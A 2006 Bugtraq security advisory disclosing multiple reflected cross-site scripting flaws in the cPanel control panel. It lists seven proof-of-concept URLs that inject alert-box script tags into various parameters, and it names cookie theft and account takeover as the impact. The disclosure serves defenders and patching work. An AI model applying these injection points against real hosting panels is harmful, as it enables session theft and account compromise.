bugtraq - cPanel Multiple Cross Site Scripting Vulnerability

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Message-ID: <3408.68.250.39.121.1138941109.squirrel@www.morx.org>
Date: Fri, 3 Feb 2006 04:31:49 -0000 (GMT)
From: simo@...x.org
To: bugtraq@...urityfocus.com
Subject: cPanel Multiple Cross Site Scripting Vulnerability

Title: cPanel Multiple Cross Site Scripting

Author: Simo Ben youssef aka _6mO_HaCk <simo_at_morx_org>
Discovered: 22 january 2005
Published: 02 february 2006
MorX Security Research Team
http://www.morx.org

Service: Web Hosting Manager

Vendor: cPanel

Vulnerability: Cross Site Scripting / Cookie-Theft / Relogin attacks

Severity: Medium/High

Details:

cPanel (control panel) is a graphical web-based management tool, designed
to make administration of web sites as easy as possible. cPanel handles
all aspects of website administration in an easy-to-use interface.
The software, which is proprietary, runs on a number of popular RPM-based
Linux distributions, such as SuSE, Fedora, Mandriva, CentOS, Red Hat
Enterprise Linux, and cAos, as well as FreeBSD. cPanel is commonly
accessed on ports 2082 and 2083 (for a SSL version). Authentication is
either via HTTP or web page login. cPanel is prone to cross-site scripting
attacks. This problem is due to a failure in the application to properly
sanitize user-supplied input

Impact:

an attacker can exploit the vulnerable scripts to have arbitrary script
code executed in the browser of an authentified cPanel user in the context
of the website hosting the vulnerable cPanel version. resulting in the
theft of cookie-based authentication giving the attacker full access to
the victim's cPanel account as well as other type of attacks.

Affected scripts with proof of concept exploit:

http://www.vulnerable-site.com:2082/frontend/xcontroller/editquota.html?email=<script>alert('vul')</script>&domain=

http://www.vulnerable-site.com:2082/frontend/xcontroller/dodelpop.html?email=<script>alert('vul')</script>&domain=xxx

http://www.vulnerable-site.com:2082/frontend/xcontroller/diskusage.html?showtree=0"><script>alert('vul')</script>

http://www.vulnerable-site.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006&domain=xxx&target="><script>alert('vul')</script>

http://www.vulnerable-site.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006&domain=xxx"><script>alert('vul')</script>&target=xxx

http://www.vulnerable-site.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006"><script>alert('vul')</script>&domain=xxx&target=xxx

http://www.vulnerable-site.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan"><script>alert('vul')</script>&year=2006&domain=xxx&target=xxx

Disclaimer:

this entire document is for eductional, testing and demonstrating purpose
only. Modification use and/or publishing this information is entirely on
your OWN risk. The information provided in this advisory is to be
used/tested on your OWN machine/Account. I cannot be held responsible for
any of the above.